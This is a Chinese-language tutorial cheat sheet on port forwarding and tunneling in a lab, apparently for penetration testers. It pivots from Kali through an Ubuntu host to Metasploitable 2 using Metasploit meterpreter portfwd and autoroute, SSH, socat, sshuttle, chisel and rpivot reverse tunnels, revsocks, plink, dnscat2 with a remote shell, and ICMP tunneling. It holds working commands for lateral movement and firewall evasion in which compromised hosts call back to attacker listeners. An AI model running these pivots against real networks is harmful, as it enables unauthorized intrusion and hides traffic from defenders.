端口转发和隧道转发技术速查表备忘单

端口转发和隧道转发技术速查表备忘单

在本文中,我们将学习端口转发和隧道技术的概念和技术。
端口转发在网络中发送数据包的同时,从一个地址和端口号发送通信请求。事实证明,隧道技术非常有益,因为它使组织可以在公共网络的帮助下创建其虚拟专用网络,并在两端为用户提供巨大的成本优势。

Apache虚拟主机

虚拟Web托管是一个概念,您可能会在各种Capture-the-Flags挑战中遇到,最近,公司环境中的专业人员也使用它来在较少的IP地址下托管其公共服务。

虚拟Web托管可以定义为在单个主机上运行多个Web服务器的方法。通过使用这种方法,一台计算机可以托管数千个网站。Apache Web服务器已经成为最流行的Web服务方法之一,因为它们极为流行和弹性。

Apache有潜力将其自定义为虚拟主机,从而可以托管单个网站。从本质上讲,这使网络管理员可以使用单个服务器来托管各种网站或域。在一个人的服务器可以承受正在托管的多个服务器的负载之前,此功能极其平滑。

实验室配置

实验室要求包括:

  • VMware虚拟机
  • Ubuntu
  • kali Linux

让我们开始配置Apache2服务。为此,您需要在Linux系统中安装Apache。您可以使用如下命令安装

apt install apache2

然后,我们需要为必须托管的网站创建目录。


mkdir /sbin/test

然后转到/etc/apache2目录并编辑文件ports.conf并在“ Listen 80”之前添加“ Listen 127.0.0.1:8080 ”,如下图所示。

cd /etc/apache2
nano ports.conf
cat ports.conf

现在让我们创建test.conf文件,并在/etc/apache2/ sites-available/中添加以下代码

nano /etc/apache2/sites-available/test.conf
<VirtualHost 127.0.0.1:8080>
  DocumentRoot /sbin/test/
  ServerName  localhost
  AllowEncodedSlashes NoDecode
  <Directory "/sbin/test/">
    Require all granted
    AllowOverride All
    Options FollowSymLinks MultiViews
  </Directory>
</VirtualHost>

现在,让我们使用工具a2ensite启动我们的网站,让我们重新启动apache2。

a2ensite test.conf
systemctl restart apache2

因此,这里我们通过创建虚拟主机来完成实验室的设置。

端口转发

端口转发正在建立远程用户和本地计算机之间的安全连接。在组织机构中,Linux可以提供其源端口号和目标端口号以利用隧道。与此同时,他们还应提及目的地,该目的地可以是主机的IP地址或名称。

让我们打开Kali Linux机器并检查网页是否已托管。但是在这里表明它不可用。因此,让我们看一下如何将本地地址和端口转发到远程主机。这可以使用多种方法来实现,因此让我们一一看一下

使用Metasploit进行端口转发

现在我们使用Metasploit进行SSH会话。在这里,我们获得了meterpreter会话,然后使用netstat命令,观察到端口8080在本地主机上正在运行。

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.108
set username raj
set password 123
exploit
sessions -u 1
sessions 2
netstat -antp

在这里,我们利用portfwd将所有流量转发到Kali机器,您在其中提到了本地和远程端口以及本地地址。

portfwd add -l 8081 -p 8080 -r 127.0.0.1

当我们在Kali机器中使用127.0.0.1:8081在Web浏览器上加载此页面时,我们看到显示了该页面的内容。

SSH本地端口转发

这是SSH中用于将应用程序端口从客户端计算机转发到服务器计算机的方法。通过使用此功能,SSH客户端在已配置的端口上侦听连接,并在接收到连接时通过隧道传输到SSH服务器。这是服务器连接到目的地端口的方式,该端口已配置并且位于SSH服务器以外的计算机上。

这将打开与IP 192.168.1.108的计算机的连接,并将本地计算机上端口8080的任何连接转发到端口8081。要了解有关SSH隧道的更多信息,请访问此处

ssh -L 8081:localhost:8080 -N -f -l raj 192.168.1.108

在这里我们可以看到,当我们使用Kali机器中的127.0.0.1:8081在Web浏览器上加载该页面时,将显示该页面的内容。

使用Socat进行端口转发

Socat通常是Linux中的命令行实用程序,用于在两个主机之间传输数据。在这里,我们将其用于端口转发,其中所有与127.0.0.1:8080的TCP连接都将重定向到端口1234。

socat TCP-LISTEN:1234,fork,reuseaddr tcp:127.0.0.1:8080 &

当我们在Kali机器中使用192.168.1.108:1234在Web浏览器中加载此页面时,我们看到显示了该页面的内容。

隧道

隧道是使用公共网络远程访问资源的过程。建立的隧道是点对点的,可以在隧道的另一端链接远程用户。隧道协议的工作是封装来自远程用户的流量,然后将其发送到公共网络的另一端,然后再将其解封装并发送到其目标用户。默认情况下,该隧道未加密,其安全级别由所选的TCP/IP协议确定。

让我们看看如何使用各种方法和工具执行隧道。

实验要求

  • IP地址为192.168.1.2的Kali Linux
  • 具有2个NIC的Ubuntu,由两个IP地址组成-192.68.1.108、192.168.226.128
  • IP地址为192.168.226.129的Metasploitable 2

Sshuttle

Sshuttle借助SSH协助从本地计算机到远程Kali Linux生成VPN连接。为了正常运行,必须在本地计算机上具有root用户访问权限,但是远程Kali Linux可以具有任何类型的帐户。Sshuttle可以在特定客户端计算机上并发运行一次以上。

让我们看看如何使用Sshuttle来访问Metasploitable 2机器,该机器使用Ubuntu机器具有不同的子网,Ubuntu机器具有两个具有不同子网的Internet地址,但也具有存在Kali Linux的子网。

现在让我们检查一下Kali Linux机器的IP地址

在检查Ubuntu计算机的IP地址时,我们看到它有两个IP地址不同的子网。

让我们在Kali Linux机器上安装工具Sshuttle

apt install sshuttle

使用Ubuntu远程创建连接(raj@192.168.1.108 ),然后使用Sshuttle创建Metasploitable 2(192.168.226.129)的地址。提及Ubuntu的密码,因此您已连接。

sshuttle -r raj@192.168.1.108 192.168.226.129

随后,将Metasploitable 2 IP地址放入Kali Linux的浏览器中时,您将能够在端口80上访问Metasploitable 2。

因此,在这里我们看到使用Sshuttle首先将Kali Linux与Ubuntu相连。与Ubuntu建立连接后,就可以使用它在Kali Linux和Metasploitable 2之间建立连接。  

Chisel

它是一个TCP / UDP隧道,有助于进行传输并使用SSH进行保护。它包括客户端和Kali Linux。它通常用于通过防火墙,但也可以用于提供与网络的安全连接。让我们看看它是如何工作的。

首先,让我们在Kali Linux机器上安装Chisel和golang。

注意:Golang是使用Chisel编写的编程语言,因此,为了正常运行,我们还安装了golang。

git clone https://github.com/jpillora/chisel.git
apt install golang

现在,有了Chisel的副本,我们现在可以继续为Linux构建二进制文件,从而使用go build来编译Chisel的软件包。

go build -ldflags="-s -w"

在Kali Linux上侦听端口8000,并允许客户端指定反向端口转发。此处反向隧道已激活。


./chisel server -p 8000 --reverse

在Ubuntu上安装Chisel

现在,让我们在Ubuntu上安装Chisel和golang,并编译所有软件包。

git clone https://github.com/jpillora/chisel.git
apt install golang
cd chisel/
go build -ldflags="-s -w"

完成此操作后,让我们在Ubuntu上运行Chisel以连接Kali Linux和Metasploitable 2。

./chisel client 192.168.1.2:8000 R:5000:192.168.226.129:80

在Kali Linux机器中打开Web浏览器,以检查Kali Linux和在本地地址和端口5000上创建的Metasploitable 2之间的连接。

使用Socks5代理的chisel

我们可以按照上面所示的步骤在Ubuntu和Kali Linux中执行初始设置步骤。

在Kali Linux上侦听端口8000,并允许客户端指定反向端口转发。此处反向隧道已激活。

./chisel server -p 8000 --reverse

在ubuntu计算机中,下一步是使用新的反向Socks选项连接到我们的客户端。

./chisel client 192.168.1.2:8000 R:socks

现在,我们将Ubuntu连接到Metasploitable 2。

./chisel client 192.168.1.2:8000 R:8001:192.168.226.129:9001

在这里,我们将使用Metasploitable 2的Socks5客户端指向使用Ubuntu的Kali Linux。

./chisel server -p 9001 --socks5

现在,让我们在Kali Linux中打开Web浏览器,然后配置代理设置。在这里,我们正在手动配置代理,因此,将SOCKS主机地址作为本地地址,即127.0.0.1,并在端口1080上选择socks5代理。此外,在“无代理”框中提及本地地址。

在Kali Linux机器中打开Web浏览器并添加Metasploitable 2 IP时,您会看到Kali Linux已连接到Metasploitable 2。

使用Socks4代理的Rpivot

RPIVOT通常使用socks 4代理向内部网络提供隧道流量。它的工作方式类似于SSH动态端口转发,但方向相反。它还具有客户端-服务器体系结构。当客户端在计算机上运行时,它将通过隧道传输流量,为此应启用Kali Linux,以便它可以侦听来自客户端的连接。

让我们在Kali Linux机器上安装Rpivot。然后转到其目录并在端口9999上启动侦听器,该端口在与客户端连接时会在端口127.0.0.1上创建socks版本4代理

git clone https://github.com/klsecservices/rpivot.git
python server.py --server-port 9999 --server-ip 192.168.1.2 --proxy-ip 127.0.0.1 --proxy-port 1080

现在将rpivot安装在Ubuntu计算机中,并将其与Kali Linux连接

git clone https://github.com/klsecservices/rpivot.git
python client.py --server-ip 192.168.1.2 --server-port 9999

现在转到您的Kali Linux机器上的Web浏览器,并手动配置proxy。将Socks主机地址设置为本地地址,将端口设置为1080。选择Socks版本4,并为“ no proxy for ”提及本地地址。

现在,当您在Kali Linux机器中打开Web浏览器时,但是可以看到Metasploitable 2的IP地址,因此您将能够看到连接。

动态SSH隧道

通过使SSH像SOCKS代理Kali Linux一样工作,动态SSH隧道提供了与一系列端口的连接。SOCKS代理是SSH隧道,其中应用程序使用隧道来发送流量,代理在该隧道中向其发送流量,就像将其发送到Internet一样。在SOCKS代理中,必须配置单个客户端。动态隧道可以从多个端口接收连接。

在Kali Linux机器中,让我们运行命令以使用动态SSH隧道连接到Ubuntu。

ssh -D 7000 raj@192.168.1.108

在Kali Linux和Ubuntu之间建立连接后,让我们在Kali Linux计算机中打开浏览器并在设置中配置代理。选择手动配置代理,然后将本地地址作为socks主机,端口号指定为7000。现在选择socks版本5,并在“ no proxy for ”部分中提及本地地址。

因此,当您将Metasploitable 2的IP放置在Kali Linux的浏览器中时,您将使用动态隧道连接来访问Metasploitable 2。

本地SSH隧道

在这里,所有尝试使用具有本地目标和端口的Ubuntu与Metasploitable 2连接的连接。-L表示本地端口。

在Kali Linux机器中,添加localhost,然后添加Metasploitable 2用户名和密码,以创建本地SSH隧道

ssh -L 7000:192.168.22.129:80 raj@192.168.1.108

您可以打开Kali Linux的浏览器,并提及本地地址以及传输流量的端口7000。

在这里,我们利用Windows计算机中的命令行进行隧道传输,其中使用了用于Putty 的命令行工具plink.exe。在这里,所有尝试使用具有本地目标和端口的Ubuntu与Metasploitable 2进行连接的连接。

plink.exe -L 7000:192.168.226.129:80 raj@192.168.1.108

现在,在窗口的计算机中打开Web浏览器,并放置转发Metasploitable 2流量的本地地址和端口7000。您会看到使用plink.exe在Metasploitable 2和Kali Linux之间存在本地SSH隧道

Plink.exe是Windows机器中用于putty的Windows命令行,我们将使用它进行动态隧道传输,以接收来自多个端口的连接。

在Kali Linux机器中,让我们运行命令以使用动态SSH隧道连接到Ubuntu。

plink.exe -D 8000 raj@192.168.1.108

在Kali Linux和Ubuntu之间建立连接后,让我们在Kali Linux计算机中打开浏览器并在设置中配置代理。选择手动配置代理,然后将本地地址作为socks主机,端口号指定为8000。现在选择socks版本5,并在“ no proxy for ”部分中提及本地地址。

因此,当您将Metasploitable 2的IP放在Kali Linux的浏览器中时,您将在plink.exe的帮助下使用动态SSH隧道获得可访问的Metasploitable 2连接。

使用Revsocks进行隧道转发

Revsocks代表反向socks。您可以在Windows操作系统中从此处 下载它。在Windows系统中,我们正在尝试使用socks5与Ubuntu连接。

revsocks_windows_amd64.exe -listen :8443 -socks 0.0.0.0:1080 -pass test

现在,让我们打开Ubuntu并下载适用于Linux的revsocks。在这里,我们将Ubuntu与Metasploitable 2连接起来,然后转到代理设置。

./revsocks_linux_amd64 -connect 192.168.1.3:8443 -pass test

现在,在Windows计算机中,打开浏览器并打开代理设置。在这里,选择手动配置手动代理配置,并在socks主机中提及本地地址,并将端口号提及为1080。选择socks版本5,然后在“ no proxy for ”空间中提及本地地址。

当您在Windows计算机中打开Web浏览器并提及Metasploitable 2的IP地址时,您将使用revsocks与Metasploitable 2连接。

使用Metasploit进行隧道转发(SOCKS 5和4a)

在这里,我们在Kali机器中启动Metasploit。然后在SSH的帮助下使用辅助模块与Ubuntu建立连接。建立连接后,便会创建一个meterpreter 会话。然后,我们将post模块与autoroute结合使用。自动路由发布模块将帮助通过meterpreter 创建一条附加路由,这将使我们能够更深入地研究网络。在这里,我们将与Metasploitable 2连接。接下来,我们将使用用于SOCKS的辅助模块5。现在这是一个已弃用的模块。设置本地主机地址并利用。然后,辅助模块将开始运行。

use post/multi/manage/autoroute
use auxiliary/server/socks5
set srvhost 127.0.0.1
exploit

现在转到Kali Linux机器上的Web浏览器,打开浏览器并打开代理设置。在这里,选择手动配置手动代理配置,并在socks主机中提及本地地址,并将端口号提及为1080。选择socks版本5,然后在“ no proxy for ”空间中提及本地地址。

当您在Kali Linux中打开Web浏览器并提及Metasploitable 2的IP地址时,您将使用Metasploit与Metasploitable 2连接。

SOCKS 4a

现在,让我们在Kali机器中启动Metasploit,在该机器上借助SSH使用辅助模块与Ubuntu建立连接。然后创建了一个meterpreter 会话。然后,我们将使用后模块,其中将使用自动布线。自动路由发布模块将帮助通过meterpreter 创建其他路由,这将使我们能够更深入地研究网络。在这里,我们将与Metasploitable 2连接。接下来,我们将对socks4a使用辅助模块。现在这是一个已弃用的模块。相反,我们可以使用新模块Set localhost地址并加以利用。然后,辅助模块将开始运行。

use post/multi/manage/autoroute
use auxiliary/server/socks4a
set srvhost 127.0.0.1
exploit

因此,请在Kali Linux机器中打开Web浏览器,然后打开代理设置。现在,选择手动配置手动代理配置,并在socks主机中提及本地地址,并将端口号提及为1080。选择socks版本4a,然后在“ no proxy for ”空间中提及本地地址。

当您在Kali Linux中打开Web浏览器并提及Metasploitable 2的IP地址时,您将使用Metasploit与Metasploitable 2连接。

使用DNScat2进行隧道转发

DNScat2是可用于借助DNS协议创建隧道的工具。应该建立与端口53的连接以访问任何数据。DNScat2主要由客户端和Kali Linux组成。在我们的场景中,我们需要使用Ubuntu作为媒介在Metasploitable 2和Kali Linux之间建立连接。

让我们开始使用apt install在Kali Linux机器中安装DNScat2,它将自动建立依赖关系。

端口22上的DNScat2隧道

apt install dnscat2

完成此操作后,dnscat2服务器将开始运行。

在Ubuntu计算机中,我们将使用git clone安装dnscat2。在这里,我们将必须手动安装依赖项才能启动该工具。

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/
cd client/
make

现在,让我们在Kali Linux和Ubuntu之间建立连接。

./dnscat --dns=server=192.168.1.2,port=53

成功建立连接后,将在Kali Linux的一端创建一个会话。现在,让我们检查可用的会话并与之交互,然后发送创建shell的请求。接受请求后,将打开一个新窗口并打开会话2。

session
session -i 1
shell

使用第二个会话,您现在可以访问Ubuntu计算机。因此,现在让我们在一台计算机上检查客户端的IP地址。在这里,我们看到Ubuntu中安装了两个NIC卡。

session -i 2
ifconfig

现在,我们将Metasploitable 2端口22连接到端口8888,以使用Shell在它们之间创建DNS隧道。

listen 127.0.0.1:8888 192.168.226.129:22

在Kali Linux机器中打开一个新选项卡,并使用其凭据登录到Metasploitable 2机器,现在您将能够使用Kali Linux与Metasploitable 2进行通信。

ssh msfadmin@127.0.0.1 -p 8888

端口80上的DNScat2隧道

我们可以使用端口80执行相同的操作。

listen 127.0.0.1:9999 192.168.226.129:80

当您在Kali Linux机器中打开Web浏览器并提及Metasploitable 2机器的URL时,您将看到使用Ubuntu在Kali Linux和Metasploitable 2之间成功建立了连接。

在Windows系统中可以执行相同的操作。单击此处的链接以下载适用于Windows系统的 dnscat2客户端。要获得有关DNScat2的详细说明,您可以在此处阅读。

ICMP隧道

ICMP隧道的主要目的是发送TCP连接,其中将以封装形式的ICMP数据包使用SSH会话。首先让我们在Ubuntu计算机上配置ICMP隧道。您可以从这里阅读详细的文章。

我们将首先在服务器端下载并安装icmptunnel,然后通过解压缩其组件来编译文件。

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

然后,我们将在Ubuntu和Kali Linux上都禁用ICMP回显应答。这使内核停止响应其任何数据包。

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel -s
Ctrl+z
bg

现在,让我们在服务器模式下的Ubuntu上启动ICMP隧道,并为其分配新的IP地址以进行隧道。

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
ifconfig

现在,像在Ubuntu中一样,在客户端(即Kali Linux)上安装和设置ICMP隧道。

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.108
Ctrl+z
bg
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
ifconfig

 一旦在Kali机器中创建了其他用于隧道的IP地址,就让我们通过SSH连接IP地址为10.0.0.1。的服务器端凭据。

ssh raj@10.0.0.1

当您打开Wireshark并捕获数据包时,您仅看到所有作为TCP协议的SSH数据包都在ICMP协议上传输。 

from